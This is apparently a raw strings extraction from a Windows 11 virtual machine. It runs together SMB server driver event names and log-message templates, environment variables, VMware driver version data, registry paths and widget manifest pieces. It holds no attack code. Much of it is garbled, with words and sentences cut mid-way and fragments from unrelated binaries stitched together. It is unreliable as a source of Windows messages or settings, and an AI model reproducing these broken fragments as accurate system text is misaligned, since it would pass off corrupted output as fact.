Smb2RequestNegotiate Smb2RequestSessionSetup Smb2RequestLogoff Smb2RequestTreeConnect Smb2RequestTreeDisconnect Smb2RequestEcho Smb2RequestCancel Smb2RequestCreate Smb2RequestClose Smb2RequestFlush Smb2RequestRead Smb2RequestWrite Smb2RequestBreakOplock Smb2RequestNotifyBreakLease Smb2RequestAcknowledgeBreakLease Smb2RequestLock Smb2RequestIoctl Smb2RequestQueryDirectory Smb2RequestChangeNotify Smb2RequestQueryInfo Smb2RequestSetInfo Smb2ResponseNegotiate Smb2ResponseSessionSetup Smb2ResponseLogoff Smb2ResponseTreeConnect Smb2ResponseTreeDisconnect Smb2ResponseEcho Smb2ResponseCreate Smb2ResponseClose Smb2ResponseFlush Smb2ResponseRead Smb2ResponseWrite Smb2ResponseBreakOplock Smb2ResponseAcknowledgeBreakLease Smb2ResponseLock Smb2ResponseIoctl Smb2ResponseQueryDirectory Smb2ResponseChangeNotify Smb2ResponseQueryInfo Smb2ResponseSetInfo Smb2ResponseError Smb2WorkItemTransition Smb2WorkItemStart Smb2WorkItemStop Smb2WorkItemActivityTransfer Smb2WorkItemActivityStop Smb2ConnectionAccept Smb2ConnectionDisconnectEvent Smb2ConnectionTerminate Smb2SessionAllocate Smb2SessionAuthFailure Smb2SessionAuthenticated Smb2SessionBind Smb2SessionTerminate Smb2SessionClose Smb2TreeConnectAllocate Smb2TreeConnectDisconnect Smb2TreeConnectTerminate Smb2TreeConnectFailedDueToPending Smb2TreeConnectForceClientReconnect Smb2FileOpen Smb2FileDisconnect Smb2FileReconnect Smb2FileSuspend Smb2FileClose Smb2FileTimeout Smb2FileTerminate Smb2FileCCFClose Smb2FileCCFCloseAudit Smb2ShareAdd Smb2ShareModify Smb2ShareDelete SrvEmptyParameterTemplate SrvS4U2SelfFailure SrvDisabled Smb2RkfFailure SrvU WEVT_TEMPLATE VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Smb 2.0 Server driver FileVersion 10.0.26100.7705 (WinBuild.160101.0800) InternalName SRV2.SYS LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename SRV2.SYS ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7705 VarFileInfo Translation Request Response Transition Operational Connection Session TreeConnect File Share Cert Quic Correlation Rundown ListenerRule Interface PerfOptional PacketStart PacketEnd SendPath ReceivePath Packet Internaly.Authen untAsync server on that alternative port anymore. The SMB server service failed to enable an implicit loopback interface for interface %1 with NTSTATUS %2. The SMB server service failed to disable an implicit loopback interface for interface %1 with NTSTATUS %2. The inbound %2 firewall rule already exists for port %1. The inbound %2 firewall rule failed to be created for port %1. The inbound %2 firewall rule was successfully created for port %1. The SMB server observed that the client doesn't support signing.%n%nClient name: %2%nServer requires signing: %3%n The SMB server observed that the client doesn't support encryption.%n%nClient name: %2%nServer requires encryption: %3%n The SMB client was logged on as Guest account.%n%nClient name: %2 The SMB server observed that the client did not send an SPN during authentication, indicating that the client does not support Extended Protection for Authentication (EPA) or that support for EPA is disabled.%n%nClient name: %2%nSPN Query Status: %3%nSPN Validation Policy: %4 The SMB server observed that the client sent an unrecognized SPN during authentication.%n%nClient name: %2%nSPN: %3%nSPN Validation Policy: %6 The SMB server observed that the client sent an empty SPN during authentication, which indicates the client is capable of sending an SPN but elected not to supply one.%n%nClient name: %2%nSPN Validation Policy: %3 The SMBv1 server observed that the SMBv1 client does not have signing enabled.%n%nClient name: %2%nServer requires signing: %3%n%nGuidance:%n%nThis event indicates that the SMBv1 client may not support SMB signing, but due to protocol limitations, this cannot be determined with certainty. Further evaluation is recommended to verify the client's signing capabilities.%n%nPrior to Windows Vista, SMBv1 clients that did not have signing explicitly enabled could not perform SMB signing.%nThis behavior was changed with the release of Windows Vista and was also backported to Windows XP and Windows Server 2003 throukid=2243809 An error occurred while checking client certificate chain access during mutual authentication. Win32 error code: %1%n%nServer certificate mapping name: %3%nClient socket address: %5%n%nGuidance:%n%nFor more information on troubleshooting this behavior, review https://go.microsoft.com/fwlink/?linkid=2243709 An administrator attempted to assign an alternative SMB server listener port %1, but it is either in the 0 1024 reserved range or it is already assigned to another process. Use NETSTAT -abno to list all listening ports and their processes in use on this computer. The SMB server service created an endpoint with the following listener rule entry settings: %nTransport: %2%nPort: %3%nTransportType: %4%nSrvInstances: %5%n%nGuidance:%n%nYou should expect this event when assigning alternative SMB server listener ports and on any subsequent restarts of the SMB server service. The SMB server service failed to create an endpoint with the following listener rule entry settings: %nTransport: %2%nPort: %3%nTransportType: %4%nSrvInstances: %5%nError: %6%n%nGuidance:%n%nThis error is usually caused by another process already listening on the same IP address and port. Use NETSTAT -abno to list all listening ports and their processes in use on this computer. An administrator created an alternative SMB server listener port rule entry: %n%nPort: %1%nTransportType: %2%nSrvInstances: %3%n%nGuidance:%n%nSMB clients can now connect to this alternative SMB server listener port. An administrator updated an existing alterative SMB server listener port rule entry:%n%nPort: %1%nTransportType: %2%nSrvInstances: %3%n%nGuidance:%n%nSMB clients can now connect to this updated alternative SMB server listener port. An administrator removed an existing alternative SMB server listener port rule entry: %n%nPort: %1%nTransportType: %2%nSrvInstances: %3%n%nGuidance:%n%nThis will close the specified listening sockets for the transport type on the specified port number. SMB clients cannot connect to this SMB d after several retries. Send QUIC Endpoint notification failure - %1 RDMA listen socket disable override is %1. New value is %2. SrvNetIsRDMASupportEnabled is %3. Action taken %4. Server Certificate failure - %1 Warning to set the QoS policy on file %6.%nStatus=%1 The SMB connection was successfully established.%n%nEndpoint Name: %2%nTransport: %3%nServer socket address: %5%nClient socket address: %7%nConnection ID: %9%nMutual authentication: %10%nAccess control: %11 The server was unable to perform revocation checks on the client certificate chain. The connection will proceed. %n%nVerification Status: %1%n%nEndpoint Name: %3%nTransport: %4%nServer socket address: %6%nClient socket address: %8%nConnection ID: %10 Packet Fragment (%2 bytes) SMB1 access%n%nClient Address: %1%n%nGuidance:%n%nThis event indicates that a client attempted to access the server using SMB1. To stop auditing SMB1 access, use the Windows PowerShell cmdlet Set-SmbServerConfiguration. SMB server admin file rundown SMB server admin session rundown SMB server admin share rundown Access Denied%n%nServer certificate mapping name: %2%nClient socket address: %4%n%nClient certificate chain:%n%nSubject, Issuer, Serial Number, %6%n%8%nDeny entries:%n%n%10%nAllow Entries:%n%n%12%nGuidance:%n%nThe server denied access to the client during mutual authentication. If you did not expect this result, examine the deny and allow entries above. For more information on troubleshooting this behavior, review https://go.microsoft.com/fwlink/?linkid=2243808 Access Allowed%n%nServer certificate mapping name: %2%nClient socket address: %4%n%nClient certificate chain:%n%nSubject, Issuer, Serial Number, %6%n%8%nDeny entries:%n%n%10%nAllow Entries:%n%n%12%nGuidance:%n%nThe server allowed access to the client during mutual authentication. If you did not expect this result, examine the deny and allow entries above. For more information on troubleshooting this behavior, review https://go.microsoft.com/fwlink/?linunderlying volume. The server failed to reserve the next ID region in the cluster registry. The security descriptor differs from the default value.%n%n Path: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\%1%n%n Guidance:%n%n This is ty lly caused by an ator o/ y on object ally. To/ interface/ y %1 ++S+ 2\spool\ ++S+ FileInformationClass QueryDirectoryFlags FileIndex FileId OutputBufferLength NameLength FileName ConnectionGUID SessionGUID TreeConnectGUID FileGUID SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags FileInformationClass QueryDirectoryFlags FileIndex FileId OutputBufferLength NameLength FileName ConnectionGUID SessionGUID TreeConnectGUID FileGUID EventData xmlns Smb2Namespace SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags ChangeNotifyFlags FileId OutputBufferLength CompletionFilter ConnectionGUID SessionGUID TreeConnectGUID FileGUID SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags ChangeNotifyFlags FileId OutputBufferLength CompletionFilter ConnectionGUID SessionGUID TreeConnectGUID FileGUID EventData xmlns Smb2Namespace SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags InfoType InfoClass OutputBufferLength SecurityInformation QueryInfoFlags FileId ConnectionGUID SessionGUID TreeConnectGUID FileGUID SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags LeaseFlags LeaseState LeaseDuration LeaseKey ConnectionGUID SessionGUID TreeConnectGUID FileGUID EventData xmlns Smb2Namespace SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags FileId ConnectionGUID SessionGUID TreeConnectGUID FileGUID LockCount Locks SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags FileId ConnectionGUID SessionGUID TreeConnectGUID FileGUID LockCount Locks Offset Length Flags EventData xmlns Smb2Namespace SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags FileId ControlCode IoctlFlags ConnectionGUID SessionGUID TreeConnectGUID FileGUID SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags FileId ControlCode IoctlFlags ConnectionGUID SessionGUID TreeConnectGUID FileGUID EventData xmlns Smb2Namespace SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags ConnectionGUID SessionGUID TreeConnectGUID FileGUID EventData xmlns Smb2Namespace SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags OplockLevel FileId ConnectionGUID SessionGUID TreeConnectGUID FileGUID SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags OplockLevel FileId ConnectionGUID SessionGUID TreeConnectGUID FileGUID EventData xmlns Smb2Namespace SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags LeaseFlags CurrentLeaseState NewLeaseState BreakReason AccessMaskHint ShareMaskHint LeaseKey ConnectionGUID SessionGUID TreeConnectGUID FileGUID SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags LeaseFlags CurrentLeaseState NewLeaseState BreakReason AccessMaskHint ShareMaskHint LeaseKey ConnectionGUID SessionGUID TreeConnectGUID FileGUID EventData xmlns Smb2Namespace SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags LeaseFlags LeaseState LeaseDuration LeaseKey ConnectionGUID SessionGUID TreeConnectGUID FileGUID SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags FileId ConnectionGUID SessionGUID TreeConnectGUID FileGUID EventData xmlns Smb2Namespace SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags Length Offset FileId MinimumCount Channel RemainingBytes ReadChannelInfoOffset ReadChannelInfoLength ConnectionGUID SessionGUID TreeConnectGUID FileGUID SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags Length Offset FileId MinimumCount Channel RemainingBytes ReadChannelInfoOffset ReadChannelInfoLength ConnectionGUID SessionGUID TreeConnectGUID FileGUID EventData xmlns Smb2Namespace SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags Length Offset FileId Channel RemainingBytes WriteChannelInfoOffset WriteChannelInfoLength WriteFlags ConnectionGUID SessionGUID TreeConnectGUID FileGUID SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags Length Offset FileId Channel RemainingBytes WriteChannelInfoOffset WriteChannelInfoLength WriteFlags DesiredAccess FileAttributes ShareAccess CreateDisposition CreateOptions NameLength FileName CreateContextsCount LeaseKey LeaseLevel ConnectionGUID SessionGUID TreeConnectGUID SessionId ProcessId TreeId MessageId MasterMessageId Command CreditsRequested Flags SecurityFlags RequestedOplockLevel nnec ch data is being received from the network. This value includes application data as well as SMB protocol data (such as packet headers). Receive Bytes/sec Receive Bytes/sec WEVT_TEMPLATE en-US AddressLength Data Name ClientSocketAddress Data Name SupportedHashAlgsStrLength Data Name SupportedHashAlgsStr Data Name CertChainPropertiesStrLength Data Name CertChainPropertiesStr Data Name DenySidsStrLength Data Name DenySidsStr Data Name AllowSidsStrLength Data Name AllowSidsStr ServerNameLength ServerName ClientSocketAddressLength ClientSocketAddress SupportedHashAlgsStrLength SupportedHashAlgsStr CertChainPropertiesStrLength CertChainPropertiesStr DenySidsStrLength DenySidsStr AllowSidsStrLength AllowSidsStr EventData Data Name ServerNameLength Data Name ServerName Data Name ClientSocketAddressLength Data Name ClientSocketAddress Data Name SupportedHashAlgsStrLength Data Name SupportedHashAlgsStr Data Name CertChainPropertiesStrLength Data Name CertChainPropertiesStr Data Name DenySidsStrLength Data Name DenySidsStr Data Name AllowSidsStrLength Data Name AllowSidsStr Data Name ConnectionIdSize Data Name ConnectionId ServerNameLength ServerName ClientSocketAddressLength ClientSocketAddress SupportedHashAlgsStrLength SupportedHashAlgsStr CertChainPropertiesStrLength CertChainPropertiesStr DenySidsStrLength DenySidsStr AllowSidsStrLength AllowSidsStr ConnectionIdSize ConnectionId EventData Data Name Error Data Name ServerNameLength Data Name ServerName Data Data Name FragmentData ReassembledEventID FragmentSize FragmentData EventData Data Name ConnectionType Data Name PeerAddressLength Data Name PeerAddress Data Name PacketSize Data Name PacketData ConnectionType PeerAddressLength PeerAddress PacketSize PacketData EventData xmlns Smb2Namespace NewDialect OldDialect NewDialect OldDialect EventData xmlns Smb2Namespace CipherSuiteOrder CipherSuiteOrder EventData Data Name ClientName ClientName EventData xmlns Smb2Namespace ClientNameLength ClientName ServerRequiresSigning ClientNameLength ClientName ServerRequiresSigning EventData xmlns Smb2Namespace ClientNameLength ClientName UserNameLength UserName ServerRequiresSigning ClientNameLength ClientName UserNameLength UserName ServerRequiresSigning EventData xmlns Smb2Namespace ClientNameLength ClientName ServerRequiresEncryption %SmbClientDoesNotSupportEncryptionType ClientNameLength ClientName ServerRequiresEncryption SmbClientDoesNotSupportEncryptionType EventData Data Name ClientNameLength Data Name ClientName ClientNameLength ClientName EventData Data Name ServerNameLength Data Name ServerName Data Name ClientSocket SessionGuid SessionId ConnectionGuid UserNameLength UserName ClientNameLength ClientName ClientAddressLength ClientAddress ShareNameLength ShareName FileNameLength FileName Duration Threshold CtlCode SubCode TunneledControl Command SessionGuid SessionId ConnectionGuid UserNameLength UserName ClientNameLength ClientName ClientAddressLength ClientAddress ShareNameLength ShareName FileNameLength FileName DurationInMilliseconds ThresholdInMilliseconds CtlCode SubCode TunneledControl EventData xmlns Smb2Namespace ConfiguredLmCompatibilityLevel DefaultLmCompatibilityLevel ConfiguredLmCompatibilityLevel DefaultLmCompatibilityLevel EventData xmlns Smb2Namespace EventData xmlns Smb2Namespace ServerNameLength ServerName ShareNameLength ShareName ServerNameLength ServerName ShareNameLength ShareName EventData xmlns Smb2Namespace ServerNameLength ServerName ShareNameLength ShareName Status ServerNameLength ServerName ShareNameLength ShareName Status EventData xmlns Smb2Namespace DescriptorName DescriptorName EventData xmlns Smb2Namespace Status Status EventData Data Name ReassembledEventID Data Name FragmentSize PersistentHandle ResumeKey Reason EventData xmlns Smb2Namespace DurableHandle ResilientHandle PersistentFID VolatileFID ResumeKey ShareNameLength ShareName FileNameLength FileName DurableHandle ResilientHandle PersistentFID VolatileFID ResumeKey ShareNameLength ShareName FileNameLength FileName EventData xmlns Smb2Namespace SessionId Status TranslatedStatus TaskStatus TranslatedTaskStatus SessionId Status TranslatedStatus TaskStatus TranslatedTaskStatus EventData xmlns Smb2Namespace ResumeKey Status TranslatedStatus TaskStatus TranslatedTaskStatus ResumeKey Status TranslatedStatus TaskStatus TranslatedTaskStatus EventData xmlns Smb2Namespace Command SessionGuid SessionId ConnectionGuid UserNameLength UserName ClientNameLength ClientName ClientAddressLength ClientAddress ShareNameLength ShareName FileNameLength FileName Duration Threshold Command SessionGuid SessionId ConnectionGuid UserNameLength UserName ClientNameLength ClientName ClientAddressLength ClientAddress ShareNameLength ShareName FileNameLength FileName DurationInMilliseconds ThresholdInMilliseconds EventData xmlns Smb2Namespace Command Capability LinkSpeed ClientAddressLength ClientAddress EventData xmlns Smb2Namespace EndpointNameLength EndpointName TransportNameLength TransportName EndpointNameLength EndpointName TransportNameLength TransportName EventData xmlns Smb2Namespace EndpointNameLength EndpointName TransportNameLength TransportName EndpointNameLength EndpointName TransportNameLength TransportName EventData xmlns Smb2Namespace ClientNameLength ClientName ClientAddressLength ClientAddress Status TranslatedStatus SessionID ClientNameLength ClientName ClientAddressLength ClientAddress Status TranslatedStatus SessionID EventData xmlns Smb2Namespace Status TranslatedStatus RKFStatus TranslatedRKFStatus ConnectionGUID ClientNameLength ClientName ClientAddressLength ClientAddress ShareNameLength ShareName UserNameLength UserName SessionId FileNameLength FileName DurableHandle ResilientHandle PersistentHandle ResumeKey Reason Status TranslatedStatus RKFStatus TranslatedRKFStatus ConnectionGUID ClientNameLength ClientName ClientAddressLength ClientAddress ShareNameLength ShareName UserNameLength UserName SessionId FileNameLength FileName DurableHandle ResilientHanedStatus SessionID EventData xmlns Smb2Namespace ShareNameLength ShareName SharePathLength SharePath ClientAddressLength ClientAddress ClientNameLength ClientName ShareNameLength ShareName SharePathLength SharePath ClientAddressLength ClientAddress ClientNameLength ClientName EventData xmlns Smb2Namespace ClientAddressLength ClientAddress ClientNameLength ClientName SessionID SessionGUID ConnectionGUID ClientAddressLength ClientAddress ClientNameLength ClientName SessionId SessionGUID ConnectionGUID EventData xmlns Smb2Namespace NameLength Name DomainNameLength DomainName TransportNameLength TransportName TransportFlags NameLength Name DomainNameLength DomainName TransportNameLength TransportName TransportFlags EventData xmlns Smb2Namespace NameLength Name DomainNameLength DomainName TransportNameLength TransportName NameLength Name DomainNameLength DomainName TransportNameLength TransportName EventData xmlns Smb2Namespace ChangeType NetNameLength NetName Flags InterfaceIndex Capability LinkSpeed ClientAddressLength ClientAddress ChangeType NetNameLength NetName Flags InterfaceIndex erNameLength UserName ClientAddressLength ClientAddress ExpectedDialect ExpectedCapabilities ExpectedSecurityMode ReceivedDialect ReceivedCapabilities ReceivedSecurity Session ceivedSecurityMode b2Namesp hLen Share Statu dleEx-R- 3++S \{67E8BE< Cortana.Internal.Search.TileAppItem Cortana.Internal.Search.TileAppItem E77-02E7-4E5D-B744-2EB1AE5198B7}\msinfo32.exe E77-02E7-4E5D-B744-2EB1AE5198B7}\services.msc E77-02E7-4E5D-B744-2EB1AE5198B7}\odbcad32.exe s Defender C:\WINDOWS\SYSTEM32\kernelbase.dll C:\WINDOWS\SYSTEM32\kernelbase.dll C:\WINDOWS\SYSTEM32\kernelbase.dll C:\WINDOWS\SYSTE localdomain Ethernet0 Intel(R) 82574L Gigabit Network Connection Loopback Pseudo-Interface 1 Software Loopback Interface 1 3++S \??\C:\Users\job\AppData\Local\Microsoft\Windows\INetCache\IE\container.dat \??\C:\Users\job\AppData\Local\Microsoft\Windows\INetCache\IE\container.dat \??\C:\Users\job\AppData\Local\Microsoft\Windows\INetCache\IE\container.dat ActivatableClassId ActivatableClassId ActivatableClassId ActivatableClassId ActivatableClassId ActivatableClassId ActivatableClassId ActivatableClassId ActivatableClassId ActivatableClassId ActivatableClassId vatabl/ ++S+ ++S+ 3++S++ mTray.XamlMetaDataProvider *ResourceDictionaries &ResourceDictionary #text SystemTray.SystemTrayResources @Category windows.appExtension AppExtension @Name com.microsoft.windows.extensions.xaml.systemtray SystemTray @DisplayName Microsoft Windows Extensions Properties Classes pWindowsUdk.UI.Shell.NotificationAreaControllerExtension #text SystemTray.SystemTrayController $MetadataProviders Provider #text SystemTray.XamlMetaDataProvider *ResourceDictionaries &ResourceDictionary #text SystemTray.SystemTrayResources @Category windows.appExtension AppExtension @Name com.microsoft.windows.extensionpackage SystemTrayAlias @PublicFolder Public @DisplayName Extension Metadata Properties PackageAliases PackageAlias #text SystemTrayAlias etio\iph \service 610417A9C41} Cortana.Internal.Search.TileAppItem %SystemRoot%\System32\fontext.dll {B2C761C6-29BC-4F19-9251-E6195265BAF1} {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} %SystemRoot%\System32\colorcpl.exe,-5 {F6B6E965-E9B2-444B-9286-10C9152EDBC5} {D9EF8727-CAC2-4E60-809E-86F80A666C91} {BB06C0E4-D293-4F75-8A90-CB05B6477EEE} {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} {025A5937-A6BE-4686-A844-36FE4BEC8B6D} Cortana.Internal.Search.TileAppItem %SystemRoot%\System32\powercpl.dll,-1 {D17D1D6D-CC3F-4815-8FE3-607E7D5D10B3} Cortana.Internal.Search.TileAppItem {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} E77-02E7-4E5D-B744-2EB1AE5198B7}\comexp.msc Cortana.Internal.Search.TileAppItem {BD84B380-8CA2-1069-AB1D-08000948F534} {f56fbb39-e6d9-4b6d-9c29-ae82cff2925f} {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} %SystemRoot%\System32\imageres.dll,-149 {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} Microsoft.BitLockerDriveEncryption %SystemRoot%\System32\FileHistory.exe {BB64F8A7-BEE7-4E1A-AB8D-7D8273F7FDB6} Microsoft.PowerOptions\pagePlanSettings Cortana.Internal.Search.TileAppItem {7E0522FC-1AC4-41CA-AFD0-3610417A9C41} Cortana.Internal.Search.TileAppItem %SystemRoot%\System32\fvecpl.dll,-1 oft.WindowsSoundRecorder_8wekyb3d8bbwe!App -4B6 172DA012619} {7E0522FC-1AC4-41C 610417A9C41} 8BD6D6E- 5A-7 DMicrosoft Teredo Tunneling Adapter FMicrosoft IP-HTTPS Platform Adapter ,Microsoft 6to4 Adapter &WAN Miniport (SSTP) (WAN Miniport (IKEv2) &WAN Miniport (L2TP) &WAN Miniport (PPTP) \Device\NetbiosSmb BowserEnablePnp BowserSendPnp BowserReadPnp IrpStackSize DatagramThre erSe ceiver \LanmanS lslotWrite eBowserProcessMailslotWrite \Registry\Machine\Sy EnableMailsl istr chin FEthernet0-QoS Packet Scheduler-0000 jEthernet0-WFP 802.3 MAC Layer LightWeight Filter-0000 Ethernet0 4Ethernet (Kernel Debugger) 0Local Area Connection* 6 0Local Area Connection* 7 k_action k_action windows \\?\SWD#MMDEVAPI#{0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7}#{e6327cad-dcec-4949-ae8a-991e976a79d2} \\?\SWD#MMDEVAPI#{0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7}#{e6327cad-dcec-4949-ae8a-991e976a79d2} \\?\SWD#MMDEVAPI#{0.0.0.00000000}.{8cd9a009-e279-4e33-ac56-5a774b103ee7}#{e6327cad-dcec-4949-ae8a-991e976a79d2} VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Microsoft (R) Content FileVersion 10.0.26100.7824 (WinBuild.160101.0800) InternalName ContentDeliveryManager.Background LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename ContentDeliveryManager.Background.dll ProductName Microsoft Windows Operating System ProductVersion 10.0.26100.7824 VarFileInfo Translation 3++S++ me3\ ncalrpc Security=Impersonation Dynamic True umpo System\CurrentControlSet\Control\Power\User\Default\PowerSchemes NULL DiskSpinDownMax Software\Microsoft\Windows\CurrentVersion\Controls Folder\PowerCfg\PowerPolicies LastID Control Panel\PowerCfg\PowerPolicies DiskSpinDownMin CurrentPowerPolicy GlobalPowerPolicy Software\Microsoft\Windows\CurrentVersion\Controls Folder\PowerCfg Control Panel\Po ice\ W. E andard 6E6F6E6963}\0000 C:\WINDOWS\system32\ C:\Program Files\VMware\VMware Tools\vmtoolsd.exe "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" C:\Program Files\VMware\VMware Tools\vmtoolsd.exe ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\WINDOWS\TEMP TMP=C:\WINDOWS\TEMP USERDOMAIN=WORKGROUP USERNAME=WINDOWS11$ USERPROFILE=C:\WINDOWS\system32\config\systemprofile windir=C:\WINDOWS \Services\MpsSvc MANUALCORRUPTIONREPAIRPLUGIN_RUNONMANAGED gin_MaxU eThr UGIN_AUT YKUN ManualCorruptionRepairPlugin_RunOnManaged REPAIRPL _THR TIMEOUTI GIN_MAXU ETHR ONCAMPAI ServerSk RepairPl _Man onCampai esholdIN REPAIRPL _SER RepairPl _Run verSkuBl eMode ManualCorruptionRepairPlugin_ServerSkuBlock MANUALCORRUPTIONREPAIRPLUGIN_SERVERSKUBLOCK RepairPl _Thr TimeoutI ManualCorruptionRepairPlugin_MCRWaitAfterACRInDays ManualCorruptionRepairPlugin_ManualRemediationCampaignId MANUALCORRUPTIONREPAIRPLUGIN_MCRWAITAFTERACRINDAYS ManualCorruptionRepairPlugin_PluginMaintenanceMode NOTIFICATIONMANAGERPLUGIN_PLUGINMAINTENANCEMODE NotificationManagerPlugin_PluginMaintenanceMode IONREPAI GIN_ AutomaticCorruptionRepairPlugin_RunOnManaged AutomaticCorruptionRepairPlugin_ServerSkuBlock ServiceHealthPlugin_PluginMaintenanceMode GERPLUGI READ EOUTINSE GERPLUGI RVER SAPCP W. E andard ++S+ 3++S++ ++S+ 4_ID Process_4_CreationTime Process_4_CommitCharge Process_4_HandleCount Process_4_Version Process_4_TypeInfo Process_5_Name Process_5_ID Process_5_CreationTime Process_5_CommitCharge Process_5_HandleCount Process_5_Version Process_5_TypeInfo Process_6_Name Process_6_ID Process_6_CreationTime Process_6_CommitCharge Process_6_HandleCount Process_6_Version Process_6_TypeInfo EventGenerationTime ErrorData xmlns Dhttp://www.microsoft.com/Windows/Resource/Exhaustion/Detector/Events ErrorCode ErrorCode MemoryAllocationFailure xmlns Dhttp://www.microsoft.com/Windows/Resource/Exhaustion/Detector/Events RequestSize ErrorCode RequestSize ErrorCode Microsoft-Windows-Resource-Exhaustion-Detector RDR_DET_OPCODE_LIFECYCLE_START RDR_DET_OPCODE_LIFECYCLE_STOP RDR_DET_OPCODE_LIFECYCLE_ALLOC RDR_DET_OPCODE_DETECTION_START RDR_DET_OPCODE_DETECTION_RESULT RDR_DET_OPCODE_DIAGNOSIS_START RDR_DET_OPCODE_DIAGNOSIS_STOP RDR_DET_OPCODE_DIAGNOSIS_PROCESSING RDR_DET_OPCODE_DIAGNOSIS_RESULT win:Error win:Warning win:Informational RDR_DET_TASK_LIFECYCLE RDR_DET_TASK_DETECTION RDR_DET_TASK_DIAGNOSIS RDR_DET_KEYWORD_LIFECYCLE RDR_DET_KEYWORD_MEMORY_EXHAUSTION RDR_DET_KEYWORD_HEAP_LEAK_DETECTION WEVT_TEMPLATE en-US CommitCharge HandleCount Version TypeInfo Process_4 Name CreationTime CommitCharge HandleCount Version TypeInfo Process_5 Name CreationTime CommitCharge HandleCount oces ion-Experience/Program-Compatibility-Troubleshooter Audi iveL de/Oper tional -Loc ibut r/Opera ional Disp tens s/Diagn stic ndTr ntPr Operati Serv onne ger/Ana ytic Comp sist tAfterU grade -Loc ibut r/Opera ional -Iso ring m/Opera ional ploy tics /Diagno tics Serv ssio Operati Fire vanc ty/Fire -Loc ibut r/Perfo mance Audi iveL de/Oper tional road nce- nal/Ana ytic 32\ipcon I\PNP0A05\1f 3ff&0 VS_VERSION_INFO StringFileInfo 040904b0 CompanyName Broadcom Inc. FileDescription VMware HGFS File System Driver FileVersion 11.0.49.0 InternalName vmhgfs.sys LegalCopyright Copyright 1998-2024 Broadcom. OriginalFilename vmhgfs.sys ProductName VMware HGFS File System Driver ProductVersion 11.0.49.0 build-24409624 VarFileInfo Translation ,Microsoft 6to4 Adapter &WAN Miniport (SSTP) (WAN Miniport (IKEv2) &WAN Miniport (L2TP) &WAN Miniport (PPTP) "WAN Miniport (IP) &WAN Miniport (IPv6) <WAN Miniport (Network Monitor) (WAN Miniport (PPPOE) :Software Loopback Interface 1 DMicrosoft Teredo Tunneling Adapter FMicrosoft IP-HTTPS Platform Adapter \PdcPort PDCShimTask PDCShimSubtask PDCShimActivity V1_Unknown ext-ms-win-resourcemanager-crm-l1-2-0 PdcCallWdog ob\AppDa :com_microsoft_todo_title @Description Todo Widget Description @AllowMultiple false Capabilities Capability Size @Name medium Size @Name large ThemeResources Icons Icon @Path Dashboard\StaticWidgetRegistrations\images\todo-icon.svg Screenshots Screenshot @Path Dashboard\StaticWidgetRegistrations\images\todo-light-small.svg @DisplayAltText Todo Screenshot com.msn.money @DisplayName ms-resource:com_msn_money_title @Description Money Widget Description @AllowMultiple true Capabilities Capability Size @Name small Size @Name medium Size @Name large ThemeResources Icons Icon @Path Dashboard\StaticWidgetRegistrations\images\money_icon.svg Screenshots Screenshot @Path 